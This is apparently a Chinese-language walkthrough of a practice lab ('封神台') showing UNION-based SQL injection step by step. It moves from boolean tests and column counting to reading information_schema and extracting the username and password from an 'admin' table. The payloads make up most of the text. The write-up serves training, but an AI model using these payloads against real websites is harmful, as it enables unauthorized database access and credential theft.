一、封神台一
1、判断是否存在sql注入漏洞
1、构造?id=1 and 1=1  发现页面正常显示
2、构造?id=1 and 1=2  发现页面显示错误
2、判断字段数
1.构造?id=1 and 1=1 order by 1  页面正常显示
2.构造?id=1 and 1=1 order by 2 页面正常显示
3.构造?id=1 and 1=1 order by 3 页面显示错误 由此可以判断出字段数为2
3、判断回显点
1.构造?id=1 and 1=2 union select 1,2  发现的第二个字段处为显示位(可以理解为从数据库提取的数据被显示在前端) 可以在第二个字段处显示我们想要的内容
database() 数据库名
user() 数据库用户名
version() 显示mysql版本
@@datadir 数据库路径
@@version_compile_os 操作系统版本
2.构造?id=1 and 1=2 union select 1,database()  3.构造?id=1 and 1=2 union select 1,table_name from information_schema.tables where table_schema=database()
- information_schema 用于存储数据库元数据(关于数据的数据),例如数据库名、表名、列的数据类型、访问权限等。
- information_schema.tables 存储数据库中的表信息(包括视图),包括表属于哪个数据库,表的类型、存储引擎、创建时间等信息
- information_schema.columns 存储表中的列信息,包括表有多少列、每个列的类型等
 查询到当前表名 4.构造?id=1 and 1=2 union select 1,column_name from information_schema.columns where table_schema='maoshe' and table_name='admin' limit 0,1
- table_schema 是数据库的名称
- table_name 是具体的表名
- table_type 表的类型
- column_name 是表中列名
 5.构造?id=1 and 1=2 union select 1,column_name from information_schema.columns where table_schema='maoshe' and table_name='admin' limit 1,1  6.构造?id=1 and 1=2 union select 1,column_name from information_schema.columns where table_schema='maoshe' and table_name='admin' limit 2,1  经过对表中字段的查询发现,该admin表有三个字段,id、username、password 7.构造?id=1 and 1=2 union select 1,username from admin limit 0,1  发现有一个admin用户,在通过limit 1,1查询第二用户为空,则只有一个用户 7.构造?id=1 and 1=2 union select 1,password from admin  查询到密码
|